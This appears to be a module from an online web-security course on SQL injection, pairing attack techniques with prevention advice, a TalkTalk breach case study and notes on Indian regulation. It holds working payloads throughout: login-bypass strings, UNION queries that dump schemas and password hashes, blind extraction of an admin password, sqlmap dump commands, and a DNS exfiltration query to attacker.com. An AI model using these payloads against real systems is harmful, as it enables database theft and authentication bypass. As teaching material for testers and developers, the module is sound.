Last updated: May 1, 2026
MEDIUM
⏱ 120 min
Module 4 of 8
What you’ll learn
- How SQL injection actually works at the query-construction level
- Classic in-band SQLi with UNION-based extraction
- Blind SQLi (boolean and time-based) — when the response doesn’t tell you what you want
- Out-of-band SQLi — exfiltration via DNS or HTTP when nothing else works
- NoSQL injection (MongoDB, Redis) — still a thing in 2026
- When to use sqlmap, and when it fails
- Prevention: parameterized queries, stored procedures, ORM pitfalls
Prerequisites: Modules 1–3. Basic SQL reading comprehension (SELECT / WHERE / JOIN).
SQL injection has been on every Top 10 list since OWASP started publishing one in 2003. It’s still on the list in 2026. The 20-year-old basic patterns are largely mitigated in modern frameworks, but the bug persists in three places: legacy code bases with hand-constructed queries, unsafe usage of ORMs that developers trust blindly, and dynamic query building in reporting or admin features where the usual safety rails get bypassed.
A successful SQLi in 2026 typically means one of these: enterprise intranet app on Oracle or SQL Server with stored-procedure bugs, a modern API with a developer-built “flexible filters” feature, or a Python app doing raw cursor.execute(f"SELECT * FROM users WHERE id={user_id}") because they forgot parameterization. This module covers the techniques to find all three.
How SQL injection works
The server has a SQL query template. User input is meant to fill in part of the query, but because the input isn’t properly separated from the query structure, the input can change the structure itself.
# Vulnerable (Python):
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
# Benign input: username='alice', password='secret'
# Resulting query:
SELECT * FROM users WHERE username = 'alice' AND password = 'secret'
# Malicious input: username="admin' --", password="anything"
# Resulting query:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
# The -- comments out the rest; admin logs in without a valid password.
The root cause: user input mixed with query structure via string concatenation. The fix: always use parameterized queries — the query template is fixed, and parameters are sent separately and bound to placeholders by the database driver, not the application.
# Safe (Python):
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password)
)
# Even if username is "admin' --", the driver treats it as a literal string.
Detection — the basic tests
For every parameter an attacker controls (URL params, POST body, headers, cookies, JSON fields), test:
- Append a single quote:
'. If the app returns a 500 error, a database error message, or a different response structure, the input is reaching a SQL context. - Append
' OR 1=1 --. If the response set changes (e.g., returning more records), classic SQLi is confirmed. - Append
' AND 1=2 --. Should return zero results. If the response differs from the benign input, boolean-based blind SQLi is in play. - Append
' OR SLEEP(5) --(MySQL) or equivalent for other databases. If the response takes ~5 seconds, time-based blind SQLi works.
Database-specific syntax:
- MySQL:
SLEEP(5), comment:--(note trailing space) or# - PostgreSQL:
pg_sleep(5), comment:-- - MSSQL:
WAITFOR DELAY '0:0:5', comment:-- - Oracle:
DBMS_LOCK.SLEEP(5), comment:-- - SQLite:
randomblob(100000000)for time-based (no SLEEP function)
UNION-based SQLi — data extraction
If the application returns query results in the response, UNION lets you append your own SELECT to pull arbitrary data.
Step 1: find the column count
' ORDER BY 1 -- # sort by column 1 — always works
' ORDER BY 2 -- # column 2
' ORDER BY 10 -- # if this errors, there are fewer than 10 columns
# Alternatively:
' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL --
# Keep adding NULLs until the query succeeds — that's the column count
Step 2: find the version
# MySQL
' UNION SELECT NULL, version(), NULL --
# PostgreSQL
' UNION SELECT NULL, version(), NULL --
# MSSQL
' UNION SELECT NULL, @@version, NULL --
Step 3: enumerate the schema
# List databases
' UNION SELECT schema_name, NULL FROM information_schema.schemata --
# List tables in a database
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='target_db' --
# List columns in a table
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --
# Dump data
' UNION SELECT username, password_hash FROM users --
Blind SQLi — when you can’t see query output
When the application doesn’t render query results directly (e.g., authentication checks, filter operations that just succeed or fail), you extract data one bit at a time.
Boolean-based blind
# Does the first character of the DB version start with '5'?
' AND SUBSTRING(version(), 1, 1) = '5' --
# Observe response: if behavior matches true-case, the condition is true.
# Enumerate character by character:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a' --
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'b' --
# ...and so on
Time-based blind
When there’s no observable response delta, force the server to wait on true conditions.
# MySQL
' AND IF(SUBSTRING(version(), 1, 1)='5', SLEEP(5), 0) --
# If the response takes 5+ seconds, version starts with 5.
Automating blind extraction
Manual boolean or time-based extraction is slow — hundreds of requests per character. Automation is essential:
sqlmap -u "https://target.example.com/search?q=test"
--technique=B # boolean blind
--dbs # enumerate databases
Out-of-band (OOB) SQLi
When the application gives no useful response at all, extract data by making the database reach out to a server you control.
Common OOB channels:
- DNS — trigger a DNS lookup to
{data}.your-canary.com. You control the DNS foryour-canary.comand log lookups. Data is exfiltrated via subdomain names. - HTTP — make the database fetch a URL. Some databases support this (MSSQL via
xp_dirtree; older MySQL viaload_filewith a network path).
Example (MySQL on Windows, rare but exists)
' UNION SELECT LOAD_FILE(CONCAT('\', (SELECT password FROM users LIMIT 1), '.attacker.comshare')) --
# The database tries to read a UNC path — triggers a DNS lookup on {password}.attacker.com
# Attacker observes the DNS lookup and extracts the password character by character.
Burp Collaborator and Interact.sh are the standard tools for OOB callback servers.
NoSQL injection — MongoDB primarily
NoSQL databases have their own injection patterns. The most common: query operator injection in MongoDB.
# Vulnerable Node.js:
db.users.find({ username: req.body.username, password: req.body.password })
# Attacker POSTs JSON:
{"username": "admin", "password": {"$ne": "anything"}}
# Mongo evaluates: find user where password is NOT EQUAL to "anything"
# Effectively: any password matches → auth bypass
Mitigation: sanitize inputs to strip $ operators, or type-enforce that password must be a string.
When sqlmap works — and when it fails
sqlmap is the de facto automation tool. It tries hundreds of payloads across dozens of techniques and reliably finds classic SQLi.
# Full automation
sqlmap -u "https://target.example.com/item?id=1" --dbs
sqlmap -u "https://target.example.com/item?id=1" --current-db --tables
sqlmap -u "https://target.example.com/item?id=1" -D target_db -T users --dump
# Against POST requests
sqlmap -u "https://target.example.com/login"
--data="username=test&password=test" -p username
# Against requests requiring cookies/headers
sqlmap -u "..." --cookie="session=abc" --headers="Custom: value"
sqlmap fails when:
- The injection requires non-standard payload encoding (sqlmap tries common ones, not exotic)
- WAFs intercept patterns — requires tamper scripts (
--tamper=between,space2comment,...) - The injection is in a non-standard location (custom header, JSON field — handle with
-rand saved request file) - The injection is in second-order — input stored in DB, triggered later by a different request. sqlmap doesn’t handle multi-step flows.
When sqlmap fails, manual testing with Burp Repeater is the fallback.
ORM-related SQLi
ORMs (Django ORM, ActiveRecord, Hibernate, Sequelize) are usually safe — until developers bypass them:
# Django ORM — safe
User.objects.filter(email=user_input)
# Raw query — vulnerable if user input in string
User.objects.raw(f"SELECT * FROM users WHERE email = '{user_input}'")
# .extra() — vulnerable
User.objects.extra(where=[f"email = '{user_input}'"])
# Sequelize — safe
User.findAll({ where: { email: userInput } })
# Sequelize raw — vulnerable
sequelize.query(`SELECT * FROM users WHERE email = '${userInput}'`)
When reviewing code, grep for .raw, .extra, sequelize.query, execute( with f-strings or string interpolation.
Exercises
1. SQLi on a test app. Download DVWA (Damn Vulnerable Web App) or use PortSwigger Web Security Academy’s SQLi labs (free). Complete the UNION-based extraction lab by identifying the column count, retrieving version, enumerating tables, and dumping a user table.
2. Blind SQLi with sqlmap. On a lab target, run sqlmap with --technique=B (boolean only) and --technique=T (time-based only). Compare speed and reliability.
3. Code review. Pick an open-source PHP or Python web app on GitHub. Grep for SQL queries. Find at least one instance of string concatenation into a query. Would it be exploitable if the concatenated value was user-controlled?
Check your understanding
- Why do parameterized queries prevent SQLi?
- What’s the difference between in-band SQLi, blind SQLi, and out-of-band SQLi?
- Why is
UNION-based extraction dependent on column count? - When would you use time-based blind over boolean-based blind?
- Why are ORM-using applications sometimes still vulnerable to SQLi?
Key takeaways
- SQLi root cause is always: user input mixed with query structure. Parameterization eliminates this.
- UNION extraction requires finding the column count first, then using information_schema.
- Blind SQLi extracts one bit at a time — boolean or time-based. Automate with sqlmap.
- OOB SQLi via DNS is the last resort when nothing else gives useful responses.
- ORM-using apps are still vulnerable if developers use raw-query escape hatches.
Take the 20-question quiz below to confirm your understanding. Pass with 70%+ to mark this module complete. Unlimited retries.
Try it: hands-on challenge
Module Quiz · 20 questions
Pass with 80%+ to mark this module complete. Unlimited retries. Each question shows an explanation.
Coming soon
Real-World Case Study: TalkTalk, 2015
The story. TalkTalk, a UK telecom with ~4 million customers, lost 156,959 customer records — names, addresses, phone numbers, dates of birth, bank account numbers, sort codes. The attackers were three teenagers using sqlmap. The UK ICO fined TalkTalk £400,000 — the largest fine the regulator had issued at that point.
The technical chain.
- The vulnerable code lived on an inherited webpage from a 2009 acquisition (Tiscali UK).
- The page took an unsanitised
useridURL parameter and concatenated it directly into a SQL query. sqlmap -u "https://target/page?userid=1" --dbs --random-agent --level=3— five minutes later, full database dump.- The database contained customer PII plus bank details — no encryption at rest, no tokenisation.
What ICO found. The regulator’s report identified three failures:
- The vulnerable page was 3.5 years past patch — a fix had been available since 2012.
- TalkTalk had no inventory of inherited Tiscali infrastructure. They didn’t know the page existed.
- The attackers had been probing for 17 months before the breach. No alerting on suspicious queries.
The takeaway. SQL injection in 2026 is not a 2008 problem. It’s an asset inventory problem. You can’t patch what you don’t know exists. Every M&A acquisition should trigger an immediate web asset inventory + SAST scan, not three years later when the breach happens.
Practical depth on what to tune, what to harden, and how this maps to Indian regulatory expectations.
SQLi performance and exploitation efficiency
Modern SQLi is largely about extraction efficiency, not finding the bug. Boolean-based blind: 1 bit per request — slow. Time-based blind: 1 bit per request, slower because each takes the delay duration. Error-based: many characters per request when the DBMS exposes errors. UNION-based: pages of data per request when columns align. Out-of-band (DNS/HTTP exfil): bulk data via burrow-out callback.
--threads=10 --batch for parallel extraction.--time-sec down for fast targets, up for unstable ones.--session-file) so reruns do not re-fingerprint.Defensive layers — beyond parameterised queries
Parameterised queries are necessary, not sufficient. Layer 1 — parameterise every query that incorporates user input; ORM bind-vars are usually safe but stored-procedure SQLi and dynamic-pivot SQLi remain. Layer 2 — least-privilege DB users; web app reads from a user that cannot DROP / ALTER / SELECT system catalogs. Layer 3 — WAF signature rules for opportunistic attacks; CRS rules block typical UNION/sleep patterns. Layer 4 — query allow-listing via a database firewall (Imperva, jSonar) — only known query shapes pass. Layer 5 —
data minimisationavoid storing what you do not need; encrypt PII at column level. Layer 6 — monitor for anomalous query patterns: large result sets, system-table reads, schema discovery. The combination makes successful SQLi cost too much for most attackers; pure parameterisation alone is adequate for typical apps but not for high-value targets.
Operational hardening checklist
.raw(), SQLAlchemy text(), Sequelize literal()).log_statement = ddl minimum, all on sensitive tables.India context — DPDP, RBI tokenisation, and PCI
A successful SQLi against an Indian fintech immediately implicates: DPDP Act 2023 — breach notification within ~72 hours; the report must enumerate categories of personal data exposed. RBI master direction on tokenisation (2021, refined 2024) — card numbers must be tokenised; cleartext PAN in a database is itself a finding regardless of breach. PCI DSS — applies to any merchant; SQLi against cardholder data triggers ASV scope and likely a forensic investigation by a PCI-QSA. SEBI / IRDAI — sector-specific incident reporting clocks. CERT-In 2022 directive — incident report filed; logs preserved 180 days.
For practitionersevery webapp pentest report on Indian targets should map SQLi findings to these regulatory consequences. The audience is not just developers — it is a CISO who needs to brief the board.
Technique Bits/req Notes ────────────────────────────────────────────────────────── Boolean blind 1 true/false per question Time-based blind 1 slow even when correct Error-based ~100 full string in error msg UNION-based row depends on column count Out-of-band bulk DNS/HTTP exfiltration Prefer error → UNION → boolean → time, in that order.
Further reading
- OWASP SQL Injection Cheat Sheet
- sqlmap user manual
- PortSwigger SQLi labs
- PCI DSS v4 — SQLi specific controls
- RBI Tokenisation Master Direction
Additional FAQs
Are ORMs immune to SQL injection?
Almost. ORMs that bind parameters are safe by default. The escape hatches (Django raw(), SQLAlchemy text(), Sequelize literal()) are the SQLi surface. Audit every use of these against direct user input.
Should I block all single quotes in input?
No — that is 1990s thinking and breaks legitimate input (names with apostrophes). Parameterise queries instead. Input filtering at the WAF is defence-in-depth, not the primary control.
How do I prove SQLi during a pentest without dumping production data?
Boolean blind extraction of harmless data (database version, current timestamp, schema names — not PII). For final reports include a single redacted screenshot showing the boolean result, not the actual data. Indian SoWs increasingly forbid PII extraction in pentest scope.
Custom team training + practitioner advisory
Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.